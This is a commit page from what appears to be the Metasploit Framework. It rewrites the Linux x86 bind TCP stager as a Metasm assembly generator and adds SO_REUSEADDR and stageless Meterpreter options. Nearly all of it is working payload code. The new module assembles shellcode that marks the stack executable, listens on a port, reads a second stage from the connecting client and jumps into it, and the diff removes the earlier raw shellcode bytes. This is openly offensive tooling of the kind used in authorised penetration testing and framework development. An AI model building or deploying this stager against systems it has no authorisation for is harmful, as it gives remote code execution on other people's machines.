Skip to content

Commit 19f8a76

Browse files
committed
Porting bind_tcp for posix to metasm
And supporting SO_REUSEADDR and stageless meterp
1 parent 9791288 commit 19f8a76

File tree

2 files changed

+187
-68
lines changed

2 files changed

+187
-68
lines changed
Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
5+
module Msf
6+
7+
8+
###
9+
#
10+
# Complex bindtcp payload generation for Linux ARCH_X86
11+
#
12+
###
13+
14+
15+
module Payload::Linux::BindTcp
16+
17+
include Msf::Payload::Linux
18+
19+
def close_listen_socket
20+
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
21+
end
22+
23+
#
24+
# Generate the first stage
25+
#
26+
def generate
27+
28+
# Generate the simple version of this stager if we don't have enough space
29+
if self.available_space.nil? || required_space > self.available_space
30+
return generate_bind_tcp(
31+
port: datastore['LPORT'],
32+
close_socket: close_listen_socket
33+
)
34+
end
35+
36+
conf = {
37+
port: datastore['LPORT'],
38+
close_socket: close_listen_socket,
39+
reliable: true
40+
}
41+
42+
generate_bind_tcp(conf)
43+
end
44+
45+
#
46+
# Generate and compile the stager
47+
#
48+
def generate_bind_tcp(opts={})
49+
asm = asm_bind_tcp(opts)
50+
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
51+
end
52+
53+
#
54+
# Determine the maximum amount of space required for the features requested
55+
#
56+
def required_space
57+
# Start with our cached default generated size
58+
space = cached_size
59+
60+
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
61+
space += 14
62+
63+
# Adding 6 bytes to the payload when we include the closing of the listen
64+
# socket
65+
space += 6 if close_listen_socket
66+
67+
# The final estimated size
68+
space
69+
end
70+
71+
#
72+
# Generate an assembly stub with the configured feature set and options.
73+
#
74+
# @option opts [Fixnum] :port The port to connect to
75+
# @option opts [Bool] :reliable Whether or not to enable error handling code
76+
#
77+
def asm_bind_tcp(opts={})
78+
79+
#reliable = opts[:reliable]
80+
close_socket = opts[:close_socket]
81+
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
82+
STDERR.puts("#{opts.inspect}\n")
83+
84+
asm = %Q^
85+
bind_tcp:
86+
push 0x7d ; mprotect syscall
87+
pop eax
88+
cdq
89+
mov dl,0x7
90+
mov ecx,0x1000
91+
mov ebx,esp
92+
and bx,0xf000
93+
int 0x80 ; invoke mprotect
94+
xor ebx,ebx
95+
mul ebx
96+
push ebx ; PROTO
97+
inc ebx ; SYS_SOCKET and SOCK_STREAM
98+
push ebx
99+
push 0x2 ; SYS_BIND and AF_INET
100+
mov ecx,esp
101+
mov al,0x66 ; socketcall syscall
102+
int 0x80 ; invoke socketcall (SYS_SOCKET)
103+
^
104+
105+
unless close_socket
106+
asm << %Q^
107+
; set the SO_REUSEADDR flag on the socket
108+
push ecx
109+
push 4
110+
push esp
111+
push 2
112+
push 1
113+
push eax
114+
xchg eax,edi ; stash the socket handle
115+
mov ecx, esp
116+
push 0xe ; SYS_SETSOCKOPT
117+
pop ebx
118+
push 0x66 ; socketcall syscall
119+
pop eax
120+
int 0x80
121+
xchg eax,edi ; restore the socket handle
122+
add esp, 0x14
123+
^
124+
end
125+
126+
asm << %Q^
127+
pop ebx
128+
pop esi
129+
push edx
130+
push #{encoded_port}
131+
push 0x10
132+
push ecx
133+
push eax
134+
mov ecx,esp
135+
push 0x66 ; socketcall syscall
136+
pop eax
137+
int 0x80 ; invoke socketcall (SYS_BIND)
138+
shl ebx,1 ; SYS_LISTEN
139+
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
140+
int 0x80 ; invoke socketcall
141+
^
142+
143+
if close_socket
144+
asm << %Q^
145+
push eax ; stash the listen socket
146+
^
147+
end
148+
149+
asm << %Q^
150+
inc ebx ; SYS_ACCEPT
151+
mov al,0x66 ; socketcall syscall
152+
mov [ecx+0x4],edx
153+
int 0x80 ; invoke socketcall (SYS_ACCEPT)
154+
xchg eax,ebx
155+
mov dh,0xc ; at least 0x0c00 bytes
156+
mov al,0x3 ; read syscall
157+
int 0x80 ; invoke read
158+
xchg ebx,edi ; stash the accept socket in edi
159+
^
160+
if close_socket
161+
asm << %Q^
162+
pop ebx ; restore the listen socket
163+
mov al,0x6 ; close syscall
164+
int 0x80 ; invoke close
165+
^
166+
end
167+
168+
asm << %Q^
169+
jmp ecx ; jump to the payload
170+
^
171+
172+
asm
173+
end
174+
175+
end
176+
177+
end
178+
179+

modules/payloads/stagers/linux/x86/bind_tcp.rb

Lines changed: 8 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -6,86 +6,26 @@
66

77
require 'msf/core'
88
require 'msf/core/handler/bind_tcp'
9+
require 'msf/core/payload/linux/bind_tcp'
910

10-
11-
###
12-
#
13-
# BindTcp
14-
# -------
15-
#
16-
# Linux bind TCP stager.
17-
#
18-
###
19-
module Metasploit3
11+
module Metasploit4
2012

2113
CachedSize = 79
2214

2315
include Msf::Payload::Stager
24-
include Msf::Payload::Linux
16+
include Msf::Payload::Linux::BindTcp
2517

2618
def initialize(info = {})
2719
super(merge_info(info,
28-
'Name' => 'Bind TCP Stager',
29-
'Description' => 'Listen for a connection',
30-
'Author' => [
31-
'skape', # original
32-
'egypt', # NX support
33-
],
20+
'Name' => 'Bind TCP Stager (Linux x86)',
21+
'Description' => 'Listen for a connection (Linux x86)',
22+
'Author' => [ 'skape', 'egypt', ],
3423
'License' => MSF_LICENSE,
3524
'Platform' => 'linux',
3625
'Arch' => ARCH_X86,
3726
'Handler' => Msf::Handler::BindTcp,
38-
'Stager' =>
39-
{
40-
'Offsets' =>
41-
{
42-
'LPORT' => [ 0x29, 'n' ],
43-
},
44-
'Payload' =>
45-
46-
"\x6a\x7d" +# push byte +0x7d
47-
"\x58" +# pop eax
48-
"\x99" +# cdq
49-
"\xb2\x07" +# mov dl,0x7
50-
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
51-
"\x89\xe3" +# mov ebx,esp
52-
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
53-
"\xcd\x80" +# int 0x80
54-
"\x31\xdb" +# xor ebx,ebx
55-
"\xf7\xe3" +# mul ebx
56-
"\x53" +# push ebx
57-
"\x43" +# inc ebx
58-
"\x53" +# push ebx
59-
"\x6a\x02" +# push byte +0x2
60-
"\x89\xe1" +# mov ecx,esp
61-
"\xb0\x66" +# mov al,0x66
62-
"\xcd\x80" +# int 0x80
63-
"\x5b" +# pop ebx
64-
"\x5e" +# pop esi
65-
"\x52" +# push edx
66-
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
67-
"\x6a\x10" +# push byte +0x10
68-
"\x51" +# push ecx
69-
"\x50" +# push eax
70-
"\x89\xe1" +# mov ecx,esp
71-
"\x6a\x66" +# push byte +0x66
72-
"\x58" +# pop eax
73-
"\xcd\x80" +# int 0x80
74-
"\xd1\xe3" +# shl ebx,1
75-
"\xb0\x66" +# mov al,0x66
76-
"\xcd\x80" +# int 0x80
77-
"\x43" +# inc ebx
78-
"\xb0\x66" +# mov al,0x66
79-
"\x89\x51\x04" +# mov [ecx+0x4],edx
80-
"\xcd\x80" +# int 0x80
81-
"\x93" +# xchg eax,ebx
82-
"\xb6\x0c" +# mov dh,0xc
83-
"\xb0\x03" +# mov al,0x3
84-
"\xcd\x80" +# int 0x80
85-
"\x89\xdf" +# mov edi,ebx
86-
"\xff\xe1" # jmp ecx
87-
88-
}
27+
'Convention' => 'sockedi',
28+
'Stager' => { 'RequiresMidstager' => true }
8929
))
9030
end
9131

0 commit comments

Comments
 (0)